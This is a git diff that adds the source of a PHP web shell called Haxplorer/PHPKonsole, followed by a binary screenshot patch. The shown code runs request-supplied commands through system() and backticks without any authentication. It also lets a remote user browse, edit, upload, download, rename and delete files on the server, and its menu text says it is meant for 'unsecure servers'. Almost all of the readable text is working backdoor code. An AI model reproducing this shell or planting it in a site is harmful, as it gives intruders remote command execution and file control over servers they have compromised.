border\">&nbsp;<strong>Legend:&nbsp;&nbsp;</strong&nbsp;</td><td>\n"; + echo "<table NOWRAP>"; + echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Directory.</td></tr>\n"; + echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Readable.</td></tr>\n"; + echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Writeable.</td></tr>\n"; + echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Executable.</td></tr>\n"; + echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n"; + echo "</table></td>"; + echo "</table>"; + echo "<br>"; + @closedir($h); + } + elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/ + echo system("$file"); + } +elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */ + echo "<center><table><tr><td NOWRAP>" ; + if ($auth == "yes") { + if (Mydeldir($file)==false) { + echo "Could not remove \"$file\"<br>Permission denied, or directory not empty..."; + } + else { + echo "Successfully removed \"$file\"<br>"; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>"; + } + else { + echo "Are you sure you want to delete \"$file\" and all it's subdirectories ? + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"deldir\"> + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + <input type=\"hidden\" name=\"file\" value=\"$file\"> + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + <input type=\"submit\" value=\"Yes\"></form> + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + } + echo "</td></tr></center>"; +} + elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ; + if ($auth == "yes") { + if (@unlink($file)==false) { + echo "Could not remove \"$file\"<br>"; + } + else { + echo "Successfully removed \"$file\"<br>"; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>"; + } + else { + echo "Are you sure you want to delete \"$file\" ? + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"delfile\"> + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + <input type=\"hidden\" name=\"file\" value=\"$file\"> + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + + <input type=\"submit\" value=\"Yes\"></form> + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + } + echo "</td></tr></center>"; +} +elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */ + echo "<center><table><tr><td NOWRAP>"; + $i = 1; + while (file_exists("$lastdir/newfile$i.txt")) + $i++; + $file = fopen("$lastdir/newfile$i.txt", "w+"); + if ($file == false) + echo "Could not create the new file...<br>"; + else + echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>"; + echo " + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"> + </form></center> + </td></tr></table></center> "; + } +elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */ + echo "<center><table><tr><td NOWRAP>" ; + $i = 1; + while (is_dir("$lastdir/newdir$i")) + $i++; + $file = mkdir("$lastdir/newdir$i", 0777); + if ($file == false) + echo "Could not create the new directory...<br>"; + else + echo "Successfully created: \"$lastdir/newdir$i\"<br>"; + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"> + </form></center></td></tr></table></center>"; +} +elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */ + $contents = ""; + $fc = @file( $file ); + while ( @list( $ln, $line ) = each( $fc ) ) { + $contents .= htmlentities( $line ) ; + } + echo "<br><center><table><tr><td NOWRAP>"; + echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n"; + echo "<strong>EDIT FILE: </strong>$file<br>\n"; + echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n"; + echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n"; + echo "<input type=\"submit\" value=\"Save\">"; + echo "</form>"; + echo "</td></tr></table></center>"; +} +elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */ + $fo = fopen($file, "w"); + $wrret = fwrite($fo, stripslashes($contents)); + $clret = fclose($fo); +} +elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */ + $downloadfile = urldecode($file); + if (function_exists("basename")) + $downloadto = basename ($downloadfile); + else + $downloadto = "download.ext"; + if (!file_exists("$downloadfile")) + echo "The file does not exist"; + else { + $size = @filesize("$downloadfile"); + if ($size != false) { + $add="; size=$size"; + } + else { + $add=""; + } + header("Content-Type: application/download"); + header("Content-Disposition: attachment; filename=$downloadto$add"); + $fp=fopen("$downloadfile" ,"rb"); + fpassthru($fp); + flush(); + } +} +elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */ + ?> + <center> + <table> + <tr> + <td NOWRAP> + Welcome to the upload section... + Please note that the destination file will be + <br> overwritten if it already exists!!!<br><br> + <form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post"> + <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776"> + <input type="hidden" name="cmd" value="uploadproc"> + <input type="hidden" name="dir" value="<?php echo $dir ?>"> + <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>"> + <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>"> + Select local file:<br> + <input size="75" name="userfile" type="file"><br> + <input type="submit" value="Send File"> + </form> + <br> + <form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST"> + <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>"> + <input type="hidden" name="dir" value="<?php echo $lastdir ?>"> + <input tabindex="0" type="submit" value="Cancel"> + </form> + </td> + </tr> + </table> + </center> + + <?php +} +elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */ + echo "<center><table><tr><td NOWRAP>"; + if (file_exists($userfile)) + $res = copy($userfile, "$dir/$userfile_name"); + echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n"; + if ($res) { + echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>"; + echo "Local filename: \"$userfile_name\".\n<br>Remote filename: \"$userfile\".\n<br>"; + echo "Filesize: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>"; + } + else { + echo "Could not move uploaded file; Action aborted..."; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ; + echo "<br><br></td></tr></table></center>"; +} +elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */ + echo "<hr>"; + $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { + echo spacetonbsp(@htmlentities($line))."<br>\n"; + } + echo "<hr>"; +} +elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */ + if (function_exists('is_dir')) { + if (is_dir("$oldfile")) { + $objname = "Directory"; + $objident = "Directory"; + } + else { + $objname = "Filename"; + $objident = "file"; + } + } + echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n"; + If (empty($newfile) != true) { + echo "<center>"; + $return = @rename($oldfile, "$olddir$newfile"); + if ($return) { + echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\""; + } + else { + if ( @file_exists("$olddir$newfile") ) { + echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again..."; + } + else { + echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it."; + } + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ; + } + else { + $dpos = strrpos($oldfile, "/"); + if (strval($dpos)!="") { + $olddir = substr($oldfile, 0, $dpos+1); + } + else { + $olddir = "$lastdir/"; + } + $fpos = strrpos($oldfile, "/"); + if (strval($fpos)!="") { + $inputfile = substr($oldfile, $fpos+1); + } + else { + $inputfile = ""; + } + echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n"; + echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n"; + echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n"; + echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n"; + echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n"; + echo "Rename \"$oldfile\" to:<br>\n"; + echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">"; + echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>"; + echo "</td></tr></table></center>"; + } +} +else if ( $cmd == "con") { + +?> +<center> +<table> + <tr><td> +<h3>PHPKonsole</h3> + +<?php + +if (ini_get('register_globals') != '1') { + if (!empty($HTTP_POST_VARS)) + extract($HTTP_POST_VARS); + + if (!empty($HTTP_GET_VARS)) + extract($HTTP_GET_VARS); + + if (!empty($HTTP_SERVER_VARS)) + extract($HTTP_SERVER_VARS); + } + + if (!empty($work_dir)) { + if (!empty($command)) { + if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { + if ($regs[1][0] == '/') { + $new_dir = $regs[1]; + } else { + $new_dir = $work_dir . '/' . $regs[1]; + } + if (file_exists($new_dir) && is_dir($new_dir)) { + $work_dir = $new_dir; + } + unset($command); + } + } + } + if (file_exists($work_dir) && is_dir($work_dir)) { + chdir($work_dir); + } + $work_dir = exec('pwd'); +?> + + <form name="myform" action="<?php echo "$PHP_SELF?$urlAdd" ?>" method="post"> + <table border=0 cellspacing=0 cellpadding=0 width="100%"><tr><td>Current working directory: <b> + <input type="hidden" name="cmd" value="con"> + <?php + $work_dir_splitted = explode('/', substr($work_dir, 1)); + printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=/">Root</a>/', $PHP_SELF, $stderr); + if (!empty($work_dir_splitted[0])) { + $path = ''; + for ($i = 0; $i < count($work_dir_splitted); $i++) { + $path .= '/' . $work_dir_splitted[$i]; + printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=%s">%s</a>/', $PHP_SELF, $stderr, urlencode($path), $work_dir_splitted[$i]); + } + } + ?></b></td> + <td align="right">Choose new working directory: <select class="inputtext" name="work_dir" onChange="this.form.submit()"> + + <?php + $dir_handle = opendir($work_dir); + while ($dir = readdir($dir_handle)) { + if (is_dir($dir)) { + if ($dir == '.') { + echo "<option value=\"$work_dir\" selected>Current Directory</option>\n"; + } elseif ($dir == '..') { + if (strlen($work_dir) == 1) { + } + elseif (strrpos($work_dir, '/') == 0) { + echo "<option value=\"/\">Parent Directory</option>\n"; + } else { + echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n"; + } + } else { + if ($work_dir == '/') { + echo "<option value=\"$work_dir$dir\">$dir</option>\n"; + } else { + echo "<option value=\"$work_dir/$dir\">$dir</option>\n"; + } + } + } + } + closedir($dir_handle); + ?> + </select></td></tr></table> + <p>Command: <input class="inputtext" type="text" name="command" size="60"> + <input name="submit_btn" class="inputbutton" type="submit" value="Execute Command"></p> + <p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"<?php if (($stderr) || (!isset($stderr)) ) echo " CHECKED"; ?>></p> + <textarea cols="80" rows="19" class="inputtextarea" wrap=off readonly><?php + if (!empty($command)) { + echo "phpKonsole> ". htmlspecialchars($command) . "\n\n"; + if ($stderr) { + $tmpfile = tempnam('/tmp', 'phpshell'); + $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile"; + } else if ($command == 'ls') { + $command .= ' -F'; + } + $output = `$command`; + echo htmlspecialchars($output); + } + ?></textarea> + </form> + + <script language="JavaScript" type="text/javascript"> + document.forms[0].command.focus(); + </script> + </td></tr></table> +<?php +} +else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */ + $isMainMenu = true; + ?> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="border"> + <center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center> + </td> + </tr> + </table> + <br> + <center> + <table border="0" NOWRAP> + <tr> + <td valign="top" class="silver border"> + <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> Haxplorer <==</strong></font>", "cmd=dir&dir=.").sp(2); ?> + </td> + <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP> + Haxplorer is a server side file browser wich (ab)uses the directory object to list + the files and directories stored on a webserver. This handy tools allows you to manage + files and directories on a unsecure server with php support.<br><br>This entire script + is coded for unsecure servers, if your server is secured the script will hide commands + or will even return errors to your browser...<br><br> + </td> + </tr> + <tr> + <td valign="top" class="silver border"> + <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> PHPKonsole <==</strong></font>", "cmd=con").sp(2); ?> + </td> + <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP> + <br>PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver. + When you run commands they will run as the webservers UserID. This should work perfectly + for managing files, like moving, copying etc. If you're using a linux server, system commands + such as ls, mv and cp will be available for you... <br><br>This function will only work if the + server supports php and the execute commands...<br><br> + </td> + </tr> + </table> + </center> + <br> + <?php +} + +if ($cmd != "downl") { + if ( $isMainMenu != true) { + ?> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" style="class="silver border"> + <center><strong> + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); ?>&nbsp;&nbsp; + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;PHPKonsole&nbsp;] </font>", "cmd=con"); ?>&nbsp;&nbsp; + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Haxplorer&nbsp;] </font>", "cmd=dir&dir=."); ?> &nbsp;&nbsp; + </strong></center> + </td> + </tr> + </table> + <br> + <?php +} + ?> + <table width=100% border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center> + </td> + </tr> + </table> + </td> + </tr> + </table> + + <?php + } + +?> diff --git a/php/PHPshell/PHP Shell/PHP Shell2.jpg b/php/PHPshell/PHP Shell/PHP Shell2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ac7fb2040b68ddb39a760970f6611a965c9728d2 GIT binary patch literal 138702 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 